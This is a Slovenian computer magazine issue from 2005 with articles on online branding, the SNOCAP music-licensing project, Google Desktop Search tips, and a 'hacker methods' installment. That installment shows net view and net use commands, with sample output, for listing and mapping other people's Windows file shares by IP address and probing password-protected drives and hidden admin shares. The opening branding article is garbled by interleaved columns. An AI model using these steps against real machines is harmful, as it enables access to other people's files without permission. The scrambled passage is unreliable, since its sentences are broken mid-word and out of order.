Pozitiven odnos do znamke se hitro prelevi
v razmišljanje o znamki, v nakup ali priporočilo prijatelju.
Kaj sploh ostane, ko z naše podobe odstranimo logotip? Besedilo, grafična podoba, kombinacija pisav, ton komunikacije, odnos prodajalcev … Vprašajte se, koliko od teh elementov

32

MOJ MIKRO 1 JANUAR 2005

ciljnim javnostim resnično prinaša prepoznavno sporočilo in dušo vaše tržne znamke?

RAZBIJTE TUDI SVOJE SPLETNO MESTO

Vizualna podoba z logotipom ustvari prvi vtis
KOMUNICIRANJA
in je zelo pomemben označevalni elementa, a
Internet je pri mnogih podjetjih še vedno
pogosto se dizajnu pripisuje čudežne lastnosti.
poglavje zase. Večina, niti večjih, slovenskih
Kakovostno oblikovanje je pomembno, a je, še
podjetij v smislu tržnega komuniciranja ne
posebej v spletu, le del uporabnikove izkušnje.
razmišlja dovolj dolgoročno. Ker ni pravih
Vtis o tržni znamki na spletu ne ustvari le obstrategij in ni ljudi, ki bi morebitne strategije
likovanje, pač pa še marsikaj drugega.
izvajale, se komuniciranje prepusti naključnim
Uporabnik ne sedi in občuduje vašega logoponudbam in idejam, ki jih prinese »ugoden
tipa ali spletnega mesta, pač pa ga uporablja!
veter«. Internet, kot najnovejši del tržnoVaše strani obišče, da bi pridobil informacijo
komunikacijskega spleta je pogosto v rokah
ali opravil določeno storitev. Prebere ali preinformatikov, ki odlično razumejo delovanje
leti besedilo, pogleda fotografije, izpolni obrazsistemov in ustvarjajo delujočo kodo, zatakne
ce, zastavlja vprašanja in preskusi zanimivejše
pa se pri razumevanju uporabnikov in njihovih
interaktivne elemente spletnega mesta ... In
potreb.
prav vsaka od teh
dejavnosti bi morala komunicirati in
Izkušnja je vse, kar lahko zaznamo. Je interakcija med človekom in
sporočati bistvo vaše
njegovim okoljem. Pri izkušnji je podobno, kot pri tržni znamki zanitržne znamke.
mivo to, da se pravzaprav zgodi v ljudeh. Razumevanje tega, kako in
Zatorej vsak elezakaj se ljudje odzovejo na določene izkušnje, je bistvo učinkovitega
ment in vsaka izkušspletnega pristopa. Vsako oblikovanje spletnih mest bi se zato moralo
nja na spletnih straukvarjati z razumevanjem ljudi. In pri raziskovanju izkušenj ne gre za
neh šteje! Za zgled
nekaj novega, pač pa za znanost z dolgo brado. Dejstvo je, da ljudje
vzemimo čakalni čas.
ostajajo razmeroma enaki ne glede na medij, in da se lahko učimo iz
Pred časom izvedena
stoletij raziskovanja psihologije in družboslovja. Ko gre posameznik
raziskava neke Avna sejem, ko pogleda oglas ali pa ko išče informacije v spletu − čeprav
stralske banke je pose mediji spreminjajo, ostajajo ključni načini ocenjevanja in odzivakazala, da uporabniki
nja na izkušnje enaki.
počasnost
spletne

Vloga izkušenj

KONKRETNO
upravljanje tržne znamke v spletu

Kaj je povezano tržno komuniciranje?
Ta pristop temelji na usklajenem in sistematičnem strateškem ustvarjanju in razširjanju marketinških sporočil in gradiva. Če vzpostavimo usklajeno komunikacijo na vseh točkah, kjer se
potrošnik sreča s tržno znamko, lahko dosežemo izjemne učinke. Če na dolgi rok sporočamo
usklajeno, se stroški za tržno komuniciranje obnašajo ugodneje, kot če komuniciramo razbito
in neusklajeno. Pri povezanem komuniciranju vsako sporočilo uporablja del moči prejšnjega
sporočila, hkrati pa pomaga delovati naslednjim. Tako na dolgi rok v potrošnikovih glavah
nadzorovano ustvarjamo zgodbo o naši tržni znamki.
Po drugi strani pa tudi upoštevanje uporabnikov ne sme iti predaleč. Zadnja leta smo v
svetovnem spletu priča množici zelo uporabnih spletnih mest, ki pa so si med saboj sila
podobna. Čas je pokazal, da prestrogo upoštevanje »zlatih« pravil spletne uporabnosti
vodi v dolgočasen splet, kjer je mogoče najti
obilo informacij, to je pa tudi vse. Pogosto se
je zanemarilo, da se ljudje v običajnem svetu
in tudi na spletu radi zabavajo in nimajo nič
proti občasnim presenečenjem. Osnovni zakoni uporabnosti niso stroge omejitve, pač pa
podlaga za kreativno izražanje na način, ki ga
razume uporabnik!
Z vidika tržnega komuniciranja je neprepoznavnost spletnega mesta slaba stvar. Vsako
spletno mesto bi moralo ponuditi nekaj posebnega. Lahko gre za posebno vizualno podobo spletnega mesta, za poseben slog pisanja in

poimenovanja ali pa za funkcionalnost, ki je
ni nikjer drugje. Idealno je, če se zdrava mera
posebnosti preplete z vsakim od naštetih elementov!

ZA KONEC

Podpora in gradnja tržne znamke na vašem
spletnem mestu sta torej veliko več kot lepo
oblikovana stran in objava logotipa. Ker prek
spleta zaenkrat še ne moremo prenašati vonja,
okusa in dotika, moramo občutke naše tržne
znamke v spletu znati prevesti. Prevedemo jih
v vidne in slušne vtise in ustvarimo kar najboljšo virtualno izkušnjo našega izdelka ali
obljube. Vsak element spletne strani − barva,
besedila, pisava, fotografije, zvoki, predvsem
pa občutek kakovostnega delovanja … vse to
pusti vtisi in oblikuje občutke o vaši zanesljivosti, kakovosti in ceni.

Zato vsekakor izvedite Coca-Colin test.
Razbijte svojo spletno stran in analizirajte, kar
sporoča vsak njen delec. Pa ne zanesite se le na
svoj občutek. Preverite pri uporabnikih.

ŠE ZGODBA

Ostareli mož, oče treh sinov, je umiral. Preden
je še zadnjič zaprl oči, je poklical svojega prvorojenca. »Sin,« je zamrmral, »poišči leskovo palico
in jo zlomi!« Sin je ubogljivo pokimal, poiskal
palico, jo ukrivil in z lahkoto zlomil. Stari mož
je poklical še drugega sina in ga prosil, naj zlomi dve palici hkrati. Čeprav s težavo, je sinu to
uspelo. Nazadnje je umirajoči oče k sebi poklical
še najmlajšega sina in mu naročil naj zlomi celo
butaro palic. Sin se je trudil in trudil, a palic nikakor ni mogel ne ukrivit, ne zlomiti.
Oče se je zazrl v sinove in jih poučil: »Poglejte! Kot leskova palica, ste tudi vi šibki, kadar ste sami. Ko pa se povežete in združite svoje
moči, ste nepremagljivi. Nič in nihče vas ne
more zlomiti.«
To zgodbo povezanega nastopa lahko enostavno prenesemo na upravljanje tržnih
znamk. Tržna znamka ni le oblika z logotipom!
V potrošnikovi glavi so prve tiste znamke, ki
se za njegovo možgansko dejavnost bojujejo na
več med seboj povezanih in prepletenih »frontah«. 

MOJ MIKRO 1 JANUAR 2005

33

KONKRETNO
SNOCAP

NAPSTERJEV OČE SPET V RINGU

Pred nedavnim je Shawn Fanning, sicer avtor razvpitega programa Napster, ki je pred leti sprožil plaz izmenjave datotek
prek interneta, predstavil svoj novi projekt SNOCAP. Gre za sistem, ki bi naj omogočil zakonito licenciranje avtorsko
zaščitenih glasbenih posnetkov v omrežjih P2P. K sodelovanju je že privabil multinacionalko Universal Music Group,
vendar to še ne pomeni zmage. Mu bo uspelo?
Piše : Vasja Ocvirk

nastanka. In nato se pojavi isti človek, ki je sprožil
»založniško tragedijo« ter
izjavil, da ima v rokah rešitev. Genialno, ni kaj.

vasja.ocvirk@mojmikro.si

I

me Shawn Fanning najbrž danes ne pomeni
prav nič generaciji mladih uporabnikov interneta, ki še svoj živi dan niso kupili enega samega glasbenega posnetka, a imajo v
svojih računalnikih cele glasbene kataloge. Pa
vendar se utegne to spremeniti, seveda pod pogojem, da bo Fanningu uspel projekt Snocap,
po katerem bi naj servisi P2P v svojo programsko opremo vključili ponudbo velikih založb,
hkrati pa omogočili nadzor in zaračunavanje
prenosa avtorsko zaščitenih datotek.

AVDIO PRSTNI ODTISI

Sistem naj bi deloval po načelu prepoznavanja »avdio prstnih odtisov« skladb. Posebna
programska oprema bi preučila zvočne značilnosti vsake datoteke, predvidene za prenos,
in ta avdio prstni odtis primerjala s tistimi v
svoji zbirki podatkov. Pri pozitivni identifikaciji bi sistem opremil skladbo s ceno, prenos

SNOCAP naj bi nastopil kot posrednik
med glasbenimi založbami in servisi za
izmenjavo datotek in bi urejal legalnost
celotnega sistema.
pa bi dovolil šele, ko bi bilo izvedeno plačilo.
Skladbe, ki ne bi ustrezale nobenemu zapisu v
Snocapovi zbirki, bi sistem seveda spustil skozi
svoje sito. SNOCAP bi tako nastopil kot posrednik med glasbenimi založbami in servisi za
izmenjavo datotek in bi urejal legalnost celotnega sistema. Vpeljava v obstoječe sisteme
P2P bi naj bila razmeroma enostavna, obstaja
pa več modelov, po katerih bi bilo moč urediti zaračunavanje avtorsko zaščitenih skladb.
Tako bi lahko uvedli zaračunavanje po številu
prenesenih skladb, za podjetnejše pa bi pripravili naročniške modele.

NADGRADNJA STARE ZAMISLI

Zadeva ni tako unikatna, kot se zdi na prvi
pogled. To idejo smo že slišali iz različnih virov,
svojo zgodbo v zvezi s tem pa ima tudi Napster.
Pred leti je namreč glasbena industrija spravila
Napster na kolena in sodišče je ukazalo Fanningu in njegovim sodelavcem, da morajo bo-

34

MOJ MIKRO 1 JANUAR 2005

RAČUN BREZ
KRČMARJA?

disi prenehati vzdrževati Naspterjeve strežnike
bodisi namestiti ustrezno filtrirno opremo, ki
bo preprečevala distribucijo avtorsko zaščitenih skladb. Napsterju in njegovemu partnerju
Relatable, s katerim so razvijali ta projekt, ni
nikoli popolnoma uspelo, vprašanje pa je, ali
niso sredi dela ugotovili, da se razvoj česa takšnega enostavno ne izplača. Tako je Fanning
raje prodal podjetje − pravzaprav bolj ime,
kot kaj drugega − današnji Napster pa z izvirnim nima skorajda nobene stične točke, saj
gre zgolj za običajen servis za prodajo spletne
glasbe. Ustvarjalna žilica pa mu najbrž ni dala
miru in v preteklih letih se je najbrž ukvarjal
z mislijo, ki je vredna milijarde dolarjev, namreč, kako pripeljati žvenket denarja v omrežja P2P. Rešitev je bila kot na dlani, saj je sistem
avdio prstnih odtisov natanko to, s čemer so
se ukvarjali v zadnji Napsterjevi fazi, le da so
ga tukaj še nadgradili.

Kljub začetnemu navdušenju pa Fanning še ne
more odpreti steklenice s
šampanjcem in prižgati cigare. Eden izmed vodilnih
založnikov, ki je s Snocapom podrobno seznanjen in – presentljivo za
predstavnika nacionalke – dobro pozna razmere in ozračje v internetni skupnosti, je izjavil,
da gre sicer za dobro premišljeno idejo, ki pa žal
ni odvisna od ideje same, temveč tudi od vseh
vpletenih v procesu sprejemanja in uvajanja
tega sistema. Na eni strani bo namreč Snocap
potreboval podporo čim večjega števila založb,
v začetni fazi pa predvsem multinacionalk. To
mu je že deloma uspelo s sklenitvijo zavezništva z UMG-jem, zato pa je bolj problematična
druga stran, namreč omrežja P2P. Ta bi namreč morala podpreti to idejo in se pridružiti
sistemu. Tako bi, meni Fanning, ohranila neodvisno distribucijo avtorsko nezaščitenega
materiala in hkrati dosegla, da bi njih glasbena
industrija prenehala napadati, saj bi dobila
svoj delež. S tem bi se vzpostavilo ravnotežje
med legalnim in svobodnim prenosom datotek
prek interneta.

MULTINACIONALKE ODPRO VRATA

TEKMECEV NE MANJKA

Tudi tokrat mu je, tako kot pri Napsterju,
s finančno podporo priskočil na pomoč Ron
Conway, ki je prav tako direktor novega podjetja. Sicer majhno podjetje, ki šteje manj kot
deset zaposlenih, je nato v tajnosti začelo izdelovati programsko kodo na eni strani in iskati
zavezništva v glasbeni industriji na drugi strani.
Zanimivo je, da je Fanning, kot nekoč največji
sovražnik glasbene industrije, svoj mračni sloves zelo dobro unovčil, saj naj bi mu bila vrata
multinacionalk široko odprta prav zaradi njegovega očetovstva Napsterju. Gotovo je bilo
naravnost absurdno na pogled, ko je lahko v
rekordnem času prišel v stik z nedosegljivimi
korporacijskimi menedžerji, z istimi ljudmi, s
katerimi se je še pred nedavnim vlačil po sodišču. Končno gre tukaj samo za denar, kajne,
Fanningova ideja pa je najbrž prižgala iskrico v
očeh marsikaterega direktorja glasbene multinacionalke, saj so servisi za izmenjavo datotek
preko interneta trn v peti in grešni kozel že od

Vendar pa ta del enačbe ni tako enostaven,
kot se zdi na prvi pogled. Snocap je zgolj eden
izmed poskusov, da bi se servisi P2P spravili z
glasbeno industrijo. Angleški servis Wippit je
že pred časom ponudil nekaj podobnega, a s
precej omejenim katalogom. Altnet, ki bi ga
najlaže definirali s tesno povezavo s Sharman
Networks, ki stoji za servisom P2P Kazaa, se
že več kot leto trudi sesti za pogajalsko mizo z
glasbeno industrijo, a mu to ni uspelo. Poleg
Altneta je podobno poskusilo že precej servisov P2P. Vsi se namreč zavedajo, da bo tisti, ki
mu bo uspelo premakniti zarjavelo kolesje katere od multinacionalk, pobral smetano. Kako
naj zdaj Fanningu uspe prepričati svoje tako
rekoč konkurente, da naj mu zaupajo delež posla in seveda dobička?
Kljub vsemu ima Snocap svojega aduta v
rokavu, torej pogodbo z UMG-jem, ki pa mu,
kot že rečeno, ne pomeni nič, če se mu ne bo
pridružila večina omrežij P2P. In seveda še vse

KONKRETNO
Googlov namizni iskalnik
druge založbe. In avtorji, ki sami skrbijo za svoje avtorske pravice. Uh, veliko dela.
Še večji problem je urejanje avtorskih pravic
na globalni ravni. Prav lahko se namreč zgodi,
da avtorske pravice istega izvajalca za Evropo
recimo ureja EMI, za ZDA UMG in za Azijo
Sony BMG. Geografsko lociranje uporabnikov
po IP-številkah lahko tukaj gotovo pomaga,
vendar ne more predstavljati osnove za legalno urejanje odnosa med kupcem in lastnikom
avtorske pravice.

VPRAŠANJE »ODPADNIKOV« ...

Po drugi strani so nekateri servisi P2P preprosto prenehali biti bitko z glasbenimi multinacionalkami. Pri LimeWireu so že pred
časom razmišljali o podobni ideji, a so se odločili, da ne bodo centralizirali servisa in tudi
ne vdelovali kakršnihkoli filtrov. Tu je tudi
možna razpoka, ki utegne razbiti Fanningovo
idejo. Denimo, da se mu pridružijo vsi trenutno upoštevanja vredni servisi P2P. Skorajda
staviti bi si upali, da bodo dan zatem vznikili
novi, ki ne bodo vključeni v Snocapov sistem,
datoteke pa bodo distribuirali, ne oziraje se na
zaščito avtorskih pravic. To najbrž ne bi pomenilo Snocapovega padca, bi mu pa vsekakor
otežilo razvoj.

(P2)PRAVLJICA S SREČNIM KONCEM?

Tu je še vprašanje urejanja digitalnih pravic,
ali DRM (Digital Rights Management). Mnoge založbe ne pristajajo na odprti format MP3,
pri katerem si lahko kupci posnetkov v neomejenih količinah kopirajo te posnetke, jih presnemavajo na zgoščenke in podobno.
Vsekakor Fanning ne obupuje. Priložnost
po njegovem leži v tem, da tudi trenutno zelo
uspešni servisi za prodajo spletne glasbe operirajo zgolj z omejenim katalogom glasbe. In tistega, česar ne moreš najti v katalogu, tudi ne
moreš prodati. Po drugi strani je na voljo veliko servisov, ki pa ne spoštujejo avtorskih pravic. Tako prihaja do velike delitve med enim
in drugim polom, uporabniki pa se znajdejo na
sredini. Snocap bi po njegovem razširil katalog na celoten internet ter združil oba pola
tako, da bi bili zadovoljni vsi vpleteni.
Sliši se kot pravljica in najbrž v takšnem kontekstu, kot jo predstavlja Snocapov šef, tudi je.
Sistem še ni dokončan, kar je ob predstavitvi
priznal tudi Fanning, napovedal pa je, da bo v
naslednjem letu deloval v popolni funkcionalnosti. Zdi se, da je z medijskim pompom bolj
hotel privabiti k sodelovanju založbe in omrežja P2P kot kaj drugega. Vsekakor mu je v svoji
nameri uspelo in zdi se, da je bližje uspehu kot
vsi pred njim. Kot je dejal sam, je tehnologija
pri roki, obstajajo tudi metode, kako rešiti pat
pozicijo med glasbeno industrijo in servisi P2P,
le da ga nihče do zdaj še ni storil. Mi dodajamo, da so mnogi poskusili, a jim ni uspelo. Bo
Fanning uspešnejši?



NAJDI SI � SAM

V prejšnji številki smo vam predstavili Googlov Desktop Search, orodje za iskanje po
dokumentih v namiznem računalniku. Tokrat si oglejmo, kako iz njega »iztisnemo« čim več.
Piše : Jaka Mele
jaka.mele@mojmikro.si

G

oogle tako prinaša na namizje funkcijo, ki smo
jo vsaj člani uredništva
Mojega mikra pogrešali
in potrebovali že precej časa, saj
iskalnik v Windows ni vreden
kaj prida ...
Google Desktop Search (GDS)
je v času tega pisanja (sredi decembra) še vedno v beta različici, in stavite lahko, da Google že
pridno razvija novo, ki bo predvidoma podpirala še več zapisov
in datotek in verjetno omogočala
še dodatne funkcije. Kam točno
Google usmerja GDS in kakšne
so povratne informacije in želje
uporabnikov, lahko preberemo
na naslovu: http://groups-beta.
google.com/group/google-Desktop-Search.
Ker se nam zdi GDS ena izmed uporabnejših
aplikacij v našem računalniku, hkrati pa smo
odkrili nekaj pomanjkljivosti, smo poiskali načine, kako funkcionalnost programa razširiti
oziroma ga prilagoditi našim željam.
GDS indeksira podatke in datoteke iz programov Outlook, Outlook Express, MS Word,
AOL Instant Messenger, Excel, Internet Explorer, PowerPoint ter besedilne in HTMLdatoteke. Tako kot mnogi tudi sam uporabljam brskalnik Firefox in pogrešam iskanje po
shranjeni vsebini in povezavah (priljubljene).
Prav tako GDS ta hip ne zna indeksirati pošte iz programa ThunderBird ali Lotus Notes.
GDS je bil zasnovan za uporabo v enem samem
računalniku
in tako ne podpira
indeksiranja po priklopljenih omrežnih
diskih (mount). Čeprav GDS za prikaz
informacij zažene lokalni spletni strežnik
(vrata 4664), pa ta ni
dosegljiv prek omrežja od drugod (s čimer
vse naše informacije
in datoteke ostajajo
zasebne).

rences) izklopite indeksiranje zgodovine varnih spletnih strani (HTTPS), s čimer zagotovite, da vaši bančni podatke ne bodo prišli v
GDS-jevo zbirko. Prav tako dodajte v seznam
strani, ki naj jih GDS ne indeksira (sites NOT
to index) naslednja zapisa: http://127.0.0.1/ in
http://127.0.0.1:4664/. S tem bomo preprečili indeksiranje rezultatov. Sem vpišite tudi
mape, ki vsebujejo zasebne informacije in jih
morebiti ne želite deliti z drugimi uporabniki
istega računalnika (recimo: C:\Moji Dokumenti). Če ne želite videti lokalnih rezultatov
med iskanjem po spletnih straneh z Googlom,
izklopite nastavitev Show Desktop Search results on Google Web Search result pages.

PRIPOROČENE
NASTAVITVE

Zaradi
varnosti
priporočamo, da v
nastavitvah (prefeMOJ MIKRO 1 JANUAR 2005

35

KONKRETNO
Googlov namizni iskalnik
Googlov namizni iskalnik
indeksira podatke in
datoteke iz programov
Outlook, Outlook
Express, MS Word,
AOL Instant Messenger,
Excel, Internet Explorer,
PowerPoint ter besedilne
in HTML-datoteke,
z dodatki pa je moč
njegovo funkcionalnost
še razširiti.

Pozor: Wordovo geslo ne zaustavi GDS-a
Tudi če imate Wordovo datoteko zaščiteno
z geslom, jo bo GDS (uspešno) indeksiral.
Funkcije se ne da izklopiti, saj je GDS namenjen zasebni uporabi. Če vseeno želite
preprečiti tako indeksacijo, vpišite mape z
zasebnimi datotekami v seznam map, ki naj
jih GDS ne indeksira (na začetku).

PREMIK INDEKSNE DATOTEKE

V računalnikih, kjer je na prvem disku (C:)
omejeno prostora, bi morda veljalo premakniti
Googlovo indeksno datoteko, ki utegne zrasti
v kar precejšnjo. Za rešitev je treba popraviti
register in premakniti nekaj skritih datotek.
Predlagamo, da poiščete pomoč izkušene osebe,
če tega še niste počeli, sicer pa se zavedajte, da
spreminjate stvari na lastno odgovornost in da
si lahko povzročite škodo. Privzeto so indeksni
podatki shranjeni v mapi: C:\Documents and
Settings\USERNAME\Local Settings\Application Data\Google\Google Desktop Search. Običajno te datoteke zasedejo – odvisno od količine vaših datotek − od 100 MB naprej (tudi
500 na velikih sistemih z diskovjem 200 GB
in več). Če želite mapo premakniti (recimo na
disk D:), najprej izklopite GDS (levi klik na
barvno okrogle ikono v spodnjem desnem delu
zaslona in Exit). Nato premaknite že omenjeno mapo v, recimo, D:\Google Desktop Search,
popravite še register (Start/Zaženi/regedit) in
poiščite ključ HKEY_CURRENT_USER\
Software\Google\Google Desktop ter vrednost
ključa data_dir spremenite v D:\Google Desktop Search.

DATOTEKE NA PRIKLOPLJENEM
OMREŽNEM DISKU

GDS bo sicer indeksiral datoteke, ki jih odprete z omrežnega diska (ker jih ob tem skopirate na lasten disk), drugih pa ne. Če želimo
indeksirati tudi omrežna diska, priklopljena kot
M: in X:, storimo naslednje. Odpremo Beležnico, vpišemo !C:<TAB>!M:<TAB>!X:<TAB>, kjer pri TAB pritisnete tabulatorsko tipko.

36

MOJ MIKRO 1 JANUAR 2005

Dobljeno vrstico skopirate in odprete regedit.
Poiščete ključ HKEY_CURRENT_USER\
Software\Google\Google Desktop\HistoricalCapture\Crawler ter v polje CRAWL_DIRS
prilepite prej skopirano vsebino iz Beležnice
– na mestih, kjer smo pritisnili tabulatorko, bi
morali biti majhni štirikotniki. Kliknite OK,
in nato odprite polje CRAWL_FILE. Zbrišite
vsebino tega polja (če je indeksiranje že bilo
končano, tu verjetno piše DONE) – s tem ponovno zaženete indeksiranje. Kliknite OK, zaprite register in ponovno zaženite GDS.

Tudi konkurenca brska po namizju
Googlova napoved, da bo z orodjem Desktop Search ponudil učinkovito in hitro
iskanje po namizju, je sprožila vrsto odgovorov. Med drugimi je takoj reagiral
Microsoft in oznanil, da bo svojo različico
iskanja po namizju ponudil v prvih mesecih leta 2005, križem rok pa ni stal niti
Googlov največji tekmec Yahoo. Yahoo
Desktop Search, kot se bo imenovala zadeva, je že v končni fazi razvoja, program
pa bo temeljil na iskalniku X1, podjetja X!
technologijes, ki so ga kupili v drugi polovici 2004.
Kakšna bo videti končna različica Yahoojevega namiznega iskalnika, še ni znano,
lahko pa si z internetnega naslova www.
x1.com/download/ prenesete 14-dnevno
brezplačno preizkusno različico iskalnika X1. Ta za iskanje po vsebini uporablja
samostojno orodje, ki je sicer všečno in
ta hip ponuja še precej več možnosti kot
GDS, a je hkrati malce počasnejše.

ISKANJE PO DELU IMENA DATOTEKE

Verjetno ste opazili, da iskanje po delu datoteke ne deluje, temveč je venomer aktivno
iskanje po vsebini. Če želimo poiskati datoteko, recimo »sestanek z dne 20.11.2004.doc«, v
iskalnik vpišemo: »sestanek filetype:doc«.



ISKALNI DODATKI
GDSplus

Dodatek za GDS z imenom GDSplus je razvil Larry Gadea, omogoča pa razširjen nabor datotek, iz katerih GDS dobi informacije ki jih vključi v iskanje. Dodani so zapisi z naslednjimi
končnicami: xml, log (mIRC in Trillian), cs, vb (Visual Studio .NET datoteke izvorne kode),
frm, bas, cls (Visual Basic 6 datoteke izvorne kode) in druge datoteke, ki se indeksirajo kot
besedilo (za zapis pdf to še ne deluje). Program in navodila so na voljo na naslovu: http://www.
trivex.net/.

Slogger

Za uporabnike brskalnika Firefox bo koristen dodatek Slogger. Program in navodila najdete
na naslovu http://www.kenschutte.com/firefoxext/index.html. Ta bo poskrbel, da bo GDS prišel tudi do podatkov iz tega brskalnika, rešitev pa je le začasna, saj je Google že napovedal, da
bo podporo za FireFox in ThunderBird dodal v naslednji beta različici.

DNKA

Za vse, ki imajo doma več računalnikov, ali pa gre za malo pisarno, kjer bi želeli namesto
sprehoda v drugo sobo poiskati datoteke prek omrežja, obstaja rešitev. Ta seveda posega v
zasebnost in le lokalno dosegljivost podatkov, vendar v nadzorovanem okolju to verjetno ni
težava. Se pa zavedajte, da bo tako vaš sin prišel do e-pošte, ki vam jo piše žena − a po drugi
strani boste tudi vi prišli do zapisov njegovih klepetalnih dogodivščin ... Vse, kar je treba
narediti, je namestiti program DNKA, ki ga skupaj s preprostimi navodili najdete na naslovu
http://dnka.com/.

gdSuite

GDS ta hip še ne omogoča naprednega iskanja, kjer bi rezultate filtrirali glede na parametre,
lahko pa to dosežemo s programom gdSuite. GDS še vedno indeksira podatke, gdSuite pa je
samo vmesnik do zbirke podatkov in z njim lahko rezultate iskanja omejite na tiste, nastale v
določenem terminskem obdobju, oz. poveste, kje je lahko datoteka, kakšen je naslov spletne
strani, na katero so podatki vezani ipd. Program je, tako kot vsi omenjeni, brezplačen, na voljo
pa je na naslovu: www.airbearsoftware.com/gdsuite/home.

KONKRETNO
hekerske metode (3. del)

VSEM DOSTOPNA NEVARNA ORODJA

Številna izmed najuporabnejših orodij za nadzor omrežij, ki jih boste kdaj srečali, so
ponavadi že vključena v naš operacijski sistem ali pa so odprtokodna in brezplačna.
Poglejmo, kako jih s pridom uporabljajo hekerji. Seveda le z namenom, da vse te
nevarnosti spoznamo in se pred njimi ustrezno zaščitimo!
Piše : Tomaž Bratuša
tomaz.bratusa@mojmikro.si

P

ovprečni uporabnik ob omembi sistema
Windows in omrežnih povezav takoj pomisli na Omrežno soseščino (Network Neighborhood), ki se je nedavno v Windows
2000, Me in XP preselila v Moja omrežna mesta
(My Network places). Kadar se tako premikate po
omrežju in dostopate do datotek, uporabljate protokol SMB (Server Message Block). Večina ljudi,
ki uporablja datoteke v skupni rabi v svojih računalnikih, verjame, da lahko le računalniki v njihovem krajevnem omrežju (Local Area Network
– LAN) pristopajo do njihovih datotek. Vendar je
to res samo, kadar je vaš računalnik zaščiten s standardom NAT (Network Address Translation) ali
požarnim zidom (firewall). V vseh drugih primerih
lahko vaše datoteke v skupni rabi najde in do njih
tudi dostopa kdorkoli na tem svetu. In s tem resnično mislim kdorkoli.

OMREŽNA ORODJA V WINDOWS

Omrežna soseščina in Moja omrežna mesta
nista edini mesti, prek katerih lahko s svojega sistema Windows dostopate do omrežnih sredstev
v skupni rabi. Med drugim imate na voljo tudi
storitev Iskanje računalnikov (Find Computer),
ki jo najdete v Mojih omrežnih mestih in je uporabna za iskanje delov omrežij v skupni rabi tudi
na podlagi IP-naslovov. S tem orodjem lahko
poiščete dele omrežja v skupni rabi na podlagi
vnesenega IP-naslova ne glede na to, ali je iskani
računalnik v vaši pisarni ali na drugi strani sveta.
Ob tej priložnosti naj omenim dejstvo, da Iskanje
računalnikov tako kot večina drugih programov
z grafičnim uporabniškim vmesnikom (GUI) temelji na programu na ravni ukazne vrstice, ki ga
poganja. Ta gonilni program se imenuje NET in

38

MOJ MIKRO 1 JANUAR 2005

zdaj je trenutek, da se naučimo, kako ga učinkovito uporabiti.
Kakor vsi drugi programi, ki uporabljajo ukazno vrstico, ima tudi NET kopico možnih ukazov,
ki se med različicami sistemov Windows razlikujejo. Najlaže boste prišli do informacij o uporabi posameznega ukaza tako, da boste za ukazom
vnesli stikalo /?. Izpis vseh možnih ukazov pa
boste pridobili z ukazom net help.V tem članku
bom podrobneje opisal samo ukaza, ki sta za nas
posebej zanimiva, in to sta net view in net use.
Najprej pa omenimo nekaj drugih, manj uporabnih ukazov:
- net accounts (postavlja politiko računov
in gesel)
- net computer (dodaja računalnike v
domeno in jih briše iz nje)
- net config (prikazuje trenutne
informacije o strežniku in delovni skupini ...)
- net diag (prikazuje diagnostnične
informacije o strojnih omrežnih povezavah)
- net file (prikazuje imena vseh trenutno
odprtih datotek ...)
- net help (prikazuje informacije o dostopnih
ukazih)
- net logoff (prekinja povezavo z datotekami
v skupni rabi...)
- net password (zamenja geslo za prijavo
uporabnika)
- net send (pošlje sporočilo drugemu
uporabniku ali računalniku v omrežju)
- net share (ustvarja, briše in prikazuje
datoteke v skupni rabi)
- net stop (zaustavlja storitev)
- net use (nas poveže v sistem v skupni rabi
in prikazuje informacije ...)
- net view (prikaže seznam sredstev v skupni
rabi za posamezen računalnik ...)
Kot vidite, je NET zelo uporabno orodje, pri

tem pa sta s hekerske strani še zlasti zanimiva
ukaza net view in net use.

Net view

Net view omogoča pridobivanje osnovnih bitov informacij, pri čemer ga pogosto kombiniramo z drugim sistemskim orodjem, imenovanim
nbtstat (nbtstat nam pridobi imena domen in delovnih skupin, ki jih nato uporabimo v net view),
o katerem bo več povedano v nadaljevanju.
Za pridobitev podrobnih informacij o sredstvih v skupni rabi uporabimo ukaz:
C:\> net view /WORKGROUP:moja_delovna_skupina
Servers available in workgroup moja_delovna_skupina.
Server name Remark
---------------------------------------------\\Janez Janezov hisni racunalnik
\\Zelenjava Vegetarijanci v Netu
\\Rave Rejvamo do zore
The command completed successfully.
Z gornjim ukazom smo si pridobili seznam dostopnih sistemov v delovni skupini oz. domeni.
Na sistemih windows NT in 2000 boste morali
ukaz uporabiti tako, da boste namesto /workgroup
vpisali /domain.
Naslednji ukaz nam bo razkril datoteke v skupni rabi v sistemu Janez.
C:\> net view \\Janez
Shared resources at \\Janez
Sharename Type Comment
---------------------------------------------CDRW Disk
C Disk
MP3 Disk
The command completed successfully.
Janez ima očitno v skupni rabi datoteke MP3, disk
C in CDRW-pogon. Naslednji logični korak bi bil, da
bi se na datoteke v skupni rabi poskušali povezati.

KONKRETNO
hekerske metode (3. del)

Nasvet: Uporabite IP-naslov
Da bi pregledali dostopne datoteke v skupni
rabi, ne potrebujete imena domene ali imena
NetBIOS. Namesto tega lahko preprosto uporabite IP-naslov v sintaksi, kot npr.
Net view\\10.0.0.10. Kar pomeni, da lahko o
datotekah v skupni rabi v določenem računalniku izveste marsikaj, ne glede na to, kje na
svetu je ta računalnik. Omenjeno velja sevede
le, ko tarča nima svojega NetBIOS-a prek vrat
TCP (NBT) zaščitenega s požarnim zidom.

Net use

Zdaj, ko smo pri Janezu odkrili datoteke v
skupni rabi, si poglejmo, kako se lahko nanje povežemo z ukazom ukaza net use.
C:\>net use * \\Janez\mp3
Drive E: is now connected to \\Janez\mp3
The command completed successfully.
C:\>net use * \\Janez\c
Type the password for \\Janez\c
System error 86 had occurred.
The specified network password is not correct.
Iz gornjih zgledov vidimo, da smo dobili dostop
do datotek MP3 in jih preslikali kot naslednji
dostopni disk na našem sistemu E:, kar označuje
* v ukazni vrstici net use. Poskušali smo se prav
tako povezati na disk C, pri čemer smo naleteli
na položaj, ko je dostop zaščiten z geslom. V tem
primeru potrebujemo geslo oz. veljavno uporabniško ime in geslo. Uporabniško ime in geslo bi
nato vnesli z ukazom v obliki:
net use /u:<uporabniško ime><geslo>. Kot vidimo, tako ne bomo prišli prav daleč, zato si poglejmo IPC$ (skrbniška sredstva v skupni rabi).
Kot vidimo, imajo sistemi Windows NT in
2000 »skrbniška sredstva v skupni rabi«, ki
niso tipične datoteke v skupni rabi, do katerih
bi lahko pristopali prek omrežne soseščine ali
Mojih omrežnih mest. Prav tako teh sredstev
ne moremo videti prek ukaza net view, saj so
skrita, kar nam pove znak $ na koncu imena.
